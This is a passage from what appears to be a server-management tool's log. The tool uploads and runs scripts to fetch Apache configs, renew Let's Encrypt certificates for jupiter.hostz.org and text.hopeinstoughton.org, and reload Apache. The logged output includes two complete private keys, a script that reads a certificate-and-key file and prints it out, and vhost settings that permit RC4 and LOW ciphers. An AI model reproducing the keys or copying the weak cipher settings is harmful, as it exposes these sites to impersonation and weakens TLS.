AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/text_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/text_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName text.hopeinstoughton.org
ServerAlias sms.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
DocumentRoot /var/www/hopeinstoughton_text
<Directory /var/www/hopeinstoughton_text>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/text_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/text_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-12 06:00:52:
PUT: /tmp/pkp788970
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-12 06:00:52:
chmod 755 /tmp/pkp788970; /tmp/pkp788970; rm /tmp/pkp788970
2025-12-12 06:00:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt 5413
94:39:fa:87:f4:72:72:05:23:cd:40:16:6f:de:c8:2f
-----BEGIN CERTIFICATE-----
MIIFJjCCBA6gAwIBAgISBT/fN7hiYdVooEboSJQDltDdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEyMDUwMjIwWhcNMjYwMzEyMDUwMjE5WjAjMSEwHwYDVQQD
Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCpF06Z9ijRmY1ZtdPJnA+JQFijEUt7P2WRX+SthIYvNB4M2LRN
c0kV71wWmJQZbx98upY+Uw/l+cSpokiTXNbOhD6TGONpAk2u3fwcDQm+4muEWVfF
Bx+0lwXf2f3JZzUx1DYirpZgRVPqzxH4NrePxaG4OVA/5jJNJQn1OV7ZDM9iTatx
ysBTDcl6P3Qll6eFHr6lyr8/YYsL3caoUiO2Z3srmnib3mHSiM24HJi3/FWNFhhK
4Cmg14UwSH0w6Hsk06tAfg44ufRiafzwJHG2m4G/oJuVkB9ieVX/++Gs/6ptbx05
m/0Ps6knPaKF7Nyc7ibhE7Q0cMbCSaHaGbm9AgMBAAGjggJCMIICPjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFC43PRnADxbS/EDMVvj4zHuOhP1FMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wPAYDVR0RBDUwM4IXc21zLmhvcGVp
bnN0b3VnaHRvbi5vcmeCGHRleHQuaG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAE
DDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVu
Y3Iub3JnLzk0LmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AEmcm2neHXzs
/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmxEl1mAAAAQDAEcwRQIhAIhgnQJp
8xuwoPOBNxk79KnR/gfvAQyscos0u+VhdlWXAiBoBVyubD0FN7ykIyv+sD5oT6eH
MMff++cN5ks4MJY6egB3ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6
AAABmxEl1okAAAQDAEgwRgIhAMYt10oFXzjRDdJ0wpX4ST/KpGqfsFD793f3agwE
IeooAiEAu7n9E0c93PTBVaJpcDU76gMOgr0G4hMSVjRO9kP/TzgwDQYJKoZIhvcN
AQELBQADggEBABv19fwcK769bVN5fNziGDO96K8nyrT+F+Y3Y4L70lhpCKCZw9WY
l2XIAjgy3h3JKXqRhnw4Mtbo3HmsXZpJ71ncIbWoEvX9/uo9K0rsCHMXPjlo/BP2
MsO0F3iDySVHUqJUlzArw2maRYOX+oDzxTgvok77Ft8JNOALNBaJHsR++LCfaxkB
h3FkXPdnC7A3124js8/tsq75GGgoEOkssbS8NmWpxHKHpXIGxgcFFTR01jYCQDD5
wEzvVAJ/heCFLOJIEBDYIQuaJmpMx/n2apd+Hfz33K+mbsyj/v7MIUt0cqg7efqM
Knd0apbmKvgIMdR7V2Zq6Z65P2Ihn5ccBi0=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCpF06Z9ijRmY1Z
tdPJnA+JQFijEUt7P2WRX+SthIYvNB4M2LRNc0kV71wWmJQZbx98upY+Uw/l+cSp
okiTXNbOhD6TGONpAk2u3fwcDQm+4muEWVfFBx+0lwXf2f3JZzUx1DYirpZgRVPq
zxH4NrePxaG4OVA/5jJNJQn1OV7ZDM9iTatxysBTDcl6P3Qll6eFHr6lyr8/YYsL
3caoUiO2Z3srmnib3mHSiM24HJi3/FWNFhhK4Cmg14UwSH0w6Hsk06tAfg44ufRi
afzwJHG2m4G/oJuVkB9ieVX/++Gs/6ptbx05m/0Ps6knPaKF7Nyc7ibhE7Q0cMbC
SaHaGbm9AgMBAAECggEAAvo4Fhnxig9MH+JFwm0PEPmjFev+CkOJhE/N9Qg6XKZs
SQmf0yVOiiZW1scFBJWiVk3qy1onE4OcZOhIot+loKlPeMOdbYHu4D9kaxIHs+bE
weXY181ST5nBLrnl8B/zHdeAxIeSekt+OMpApMBB5zQxrs7DjPx+skEOtdS2yNeb
jfKllmqvrv1CbOVupQLGTov5gv6bzkX78uOuckLPgJG1ITjaL9POUn8FmBrlYYDN
HwneX2c+p/ch8w17n/PogbV5FddAKtYfNMjxmpbWrpZXvaWvboHmV6rYI8sL3Amr
7hcjYuzl/wWS5Kzq+mlqtyza8ZlV0kS0+SQ7/QkKeQKBgQDgq05FcxCt4ylMnbew
3hg5KXTtE1LdOpaIojItnhzOIXoF4wgOczcqS8oryfDbjULzsHeF2uO7wKmZa81g
pxsr6y0EWID/vELIUncdR/DADIdEJ+Q4E1u5BuXu1YNiq2+UvIZ6nmZuRfiVh+Kd
68rZSRpKqT2nCgYtoP2bzvcLjwKBgQDAq9xzg1MeC2m4R3zF19IbGQy+uQqPvkug
KsAneNkaRFqrNJxOgA8A4yykyTy2bFj3amAlAu1UwvGZpYy1SZKkft5g9Tlk+7xg
NvVzD3rX8p1DXNrDTKsdsPEPnuTUZQzDqgRCUJvXkXrDQxz6/W2hlnlTBaOZ5fkv
kbjqsp2v8wKBgQDcX6wa+071AclU2a+A0Zk5GK0UjsvNLNbTlyVZEap3lua2N4eD
hQgreMQKR7713I47snDK33ZaiBTT5KZDlCZW4gv6I0YFk4h+LkWgdxxzhNZ5yBdX
2cUyrM2Fg/GoKzj70CCozg7zQ7ceFXf4J32FvOsJKRDMdEyzHSMmXdB9iQKBgQCs
/eI7CQ+o60BqCC28iZIJaI1r9ULJW2gVkCzlg/kSP4tVKzCovww5lL+x2Umc1V1w
EF/w+1bSgxJgDSdwYnW7InpSffuhcvFpRg9N1vlKSXjwUb/OGNmPGB7pEpaNKYmz
aMTYMf4rKGEcTvcHWGKF8lBOvcJt3PHGx0VL3UH+BwKBgQC/K9jF86V711JFydcC
ZlSLHeyeQXTwe3G+FX4eUjxG9cXt+W0ef7fTEnF6W9AMseEhzGuoxJmBpvqWVQkO
rKZtyvUtxGC/Atxk51epeaczxUxsNr+E7UW6jafgoxxP2KAccbGzgypq4rEbwwx/
/OlRRFMeqZsGJiJNVhn4ggu5MA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-12 06:00:52: Establishing a connection
2025-12-12 06:00:52: Establishing a connection
2025-12-12 06:00:52:
PUT: /tmp/pkp976589
#!/bin/bash
if [ -d "/var/www/hostz_jupiter/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-12 06:00:57:
chmod 755 /tmp/pkp976589; /tmp/pkp976589; rm /tmp/pkp976589
2025-12-12 06:00:57:
1
2025-12-12 06:00:58: Establishing a connection
2025-12-12 06:00:58:
PUT: /tmp/pkp798635
#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cat > RVZlS1b6HqIO5nUPjkH_eXxbXd-65LS_C4fi4EcaskU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
RVZlS1b6HqIO5nUPjkH_eXxbXd-65LS_C4fi4EcaskU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 RVZlS1b6HqIO5nUPjkH_eXxbXd-65LS_C4fi4EcaskU
2025-12-12 06:00:58:
chmod 755 /tmp/pkp798635; /tmp/pkp798635; rm /tmp/pkp798635
2025-12-12 06:00:58:
2025-12-12 06:01:06: Establishing a connection
2025-12-12 06:01:06:
PUT: /tmp/pkp235043
#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
rm RVZlS1b6HqIO5nUPjkH_eXxbXd-65LS_C4fi4EcaskU
2025-12-12 06:01:06:
chmod 755 /tmp/pkp235043; /tmp/pkp235043; rm /tmp/pkp235043
2025-12-12 06:01:06:
2025-12-12 06:01:06: Establishing a connection
2025-12-12 06:01:07:
PUT: /tmp/pkp160638
#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d
cat > $temp_file <<'endmsg'
52:4e:0e:df:23:29:32:ed:19:af:84:98:21:10:26:4d
-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBfE/A6OnoT5g+cyEuw4Adcl6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjEyMDUwMjMzWhcNMjYwMzEyMDUwMjMyWjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALJw/HbxRP3J6M66zyAhLrhO99Qu5DCK9yRj/A5CsipV3YT76QJzH8BJPTmk
/EIbQif0ehuY4b2P4GC0AOkY6R7HM0VNl8XBUuhCXqqoUsLB0RPVSRKRARS4udD/
B8OmJ0+YzTgQ/QHVKOsp5ig8g0SvGHEEm4IrLki9IW1GgBc1zPHI58CFDTxh7g+t
/OhVpJxjwydk3HxnBBtwPcSUb+SNywpOlPv7P4q1frvDMstzWJftqnk4UU9WalGn
pGmrdlhXvZ8cE5O2Rg7cCJF5Y1Vs3iSWs6GMaqm7kQdrmZvgguovijn8Nrj/omCl
fYwPTTvYADjA7h0ic1omlMC1pssCAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUhFB+zK0sCcrFZx4t4gyvylAe4IgwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFqdXBpdGVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzEyMy5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkA
dgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZsRJghRAAAEAwBH
MEUCIFba7ON6n1JW3sPyowCUHzTsuWUnHngr55n+NDfosVNqAiEAvbQwnOHbuVL4
WI2vcOgmcOLAupYqTerhoqlXz1xGnZ8AfwClyXiSXVdGF4KHDdiJZgtcVWSLfQBA
8uwHaFHRiGkZ9wAAAZsRJhAmAAgAAAUAK2Iv5AQDAEgwRgIhAPKVeYsVKYtXQuJg
Vi52IXaT85I8nrvQVmA481oNlHGQAiEApdwjihO4aeQrrihTlcaJS902Epvaxf4E
JwTWmTfxSiYwDQYJKoZIhvcNAQELBQADggEBAKvuthtqv9ryoYXHot9cb3mnFmH6
7QJ9V4z/5HyI8MVf9o1tnn/nBdn8PhCZuAP+gg9yc9fffi6HSdJXhGDFMgrtwVI3
MiN0YroiNfGKbdeda1wQdwVDJa5vM4J4pkF6q2vggC9dQ493OHLceS9dAlonwIyh
/loADu0UuHeAjsaXGVErq6+YIUN7YgfcbBDc9i0dCe3hmoH2Q3a7Hpf7Oeojhdo6
IfE6kGSB/5MhiPAyRP1anON/NSCzZ5xq1W7HDKc4QwllIAEV7rPWcZhar4Z0Ao6H
cZFxUYsA/KnSLxeT8TNYvFGuYknkebbDGDZE69BZBZot0hdel6LegAiRcqA=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCycPx28UT9yejO
us8gIS64TvfULuQwivckY/wOQrIqVd2E++kCcx/AST05pPxCG0In9HobmOG9j+Bg
tADpGOkexzNFTZfFwVLoQl6qqFLCwdET1UkSkQEUuLnQ/wfDpidPmM04EP0B1Sjr
KeYoPINErxhxBJuCKy5IvSFtRoAXNczxyOfAhQ08Ye4PrfzoVaScY8MnZNx8ZwQb
cD3ElG/kjcsKTpT7+z+KtX67wzLLc1iX7ap5OFFPVmpRp6Rpq3ZYV72fHBOTtkYO
3AiReWNVbN4klrOhjGqpu5EHa5mb4ILqL4o5/Da4/6JgpX2MD0072AA4wO4dInNa
JpTAtabLAgMBAAECggEAe6ggzKxWCymo09pRPwq/vam7xKbaK2mh6u3+9kLyBLSM
VmPcDX6KOk6GxzO2PHl3VwjstcM0bJEQBPO4zdAdfN6+gQBMdRaLxbh4sfsDn0OB
CCV+BgfGn/2Dh3m0f7jc9SQG0xuyuVpmiND4VlnY/ff5EBkJSyNxZ6bpSzjX+zx8
T/4zZ+fjmVIbB5C93/7auk/vUh3cYfUnh6+axWFcyoESK9LjMhewpeiJbaFPyyrS
2bTKXvb08i50lHjiNi3zaXEvQpJqMKzjdEJHHE3MYnA+VdwB+kcCMfD0AjjCc19C
fUtxkrWzQSBlNrK9H6Riy3En2WkBimyjkqjdbFyDAQKBgQDlzlktJXRIK9ybN13u
M9CjUj8ko5Ru3mpj2SFtQXk6EiHSpOtwDRLvB7vsHQHrAsOd1kWExc/OMBHEk7Z6
7gvAauYEC1ZUDwoJFEN1j3w+JL431KvKFAlpLKWQ9SRUON+O6u6xQSVS3OSfkqmt
fHe76Nlct/lHNkuDBvhFORIBOwKBgQDGx9X7xw8U3+CGVUruXlFbVhP4YEu5a+xt
xXJhSBmHjldtEoVJQElL+Hvajke4ihS06e2RxUIR4lOgLcpAzUnjKRP4U8Y3ocOH
VTP+vvN9wQC3gPeKJJ3ya/o72TUSXKLDZ6h7AYv0dgljclo38dJEQlUn7ix3TtZR
mN8f7QuXsQKBgQDWMCSn0n/2AIOmW819hefRQYg+wwRG7aClnavtJBg0StAhf7s8
/cKG7WN253ZxL2tZwmubG6/a0qzM1ow/OX3Ugw4N+O8me7nzymIxwWGgnih46wyO
1WwMDiPm3sVUhom/sDJ3HWwHNoEUReNGInuKtbVaGNMLT4zD/AwMoOuqHwKBgFtB
BiUNnwjQNfy1Ty7asbKic4yEeH7o4qMKD5ZFSSMH3269H98e2gc8TW9p/dbj3Nmo
wl03FzuqkQVpv/27wH2+L+LCYq7LXj3UiYgbFSDX54JWfE04viG6HCg5cLm7OSVH
gvrlHODfBzRWHMCuDP81DG7GUjd7Q7w118iKQ9YhAoGBAInKzCDEnUMmQH+V/QSr
QOMqDSjTPnatbDav/5BpIh6WHCfc7Lc3J1Zx2MZSxdOJURtK1niWqa8clPlpr3mY
6RnGXkCpIoJJdnGhOy8wahRY7L9jvo39cFKP2eK7xw0LqUUNr2JeU1UnfcMiNo3i
OQXms728zbU18ikLeiP8nMoU
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-12 06:01:07:
chmod 755 /tmp/pkp160638; /tmp/pkp160638; rm /tmp/pkp160638
2025-12-12 06:01:07:
dir=/etc/ssl/certs
2025-12-12 06:01:07:
PUT: /tmp/pkp664700
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hostz_jupiter_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-12 06:01:07:
chmod 755 /tmp/pkp664700; /tmp/pkp664700; rm /tmp/pkp664700
2025-12-12 06:01:07:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf 41
<VirtualHost *:80>
ServerName jupiter.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_jupiter
<Directory /var/www/hostz_jupiter>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/jupiter_access.log combined
ErrorLog /var/log/apache2/hostz/jupiter_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName jupiter.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_jupiter
<Directory /var/www/hostz_jupiter>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/jupiter_secure_access.log combined
ErrorLog /var/log/apache2/hostz/jupiter_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-12 06:01:07:
PUT: /tmp/pkp698631
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_jupiter_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_jupiter_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName jupiter.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_jupiter
<Directory /var/www/hostz_jupiter>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/jupiter_access.log combined
ErrorLog /var/log/apache2/hostz/jupiter_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName jupiter.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_jupiter
<Directory /var/www/hostz_jupiter>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/jupiter_secure_access.log combined
ErrorLog /var/log/apache2/hostz/jupiter_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hostz_jupiter_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hostz_jupiter_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf= 1'
fi
2025-12-12 06:01:07:
chmod 755 /tmp/pkp698631; /tmp/pkp698631; rm /tmp/pkp698631
2025-12-12 06:01:07:
2025-12-12 06:01:07:
PUT: /tmp/pkp560638
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
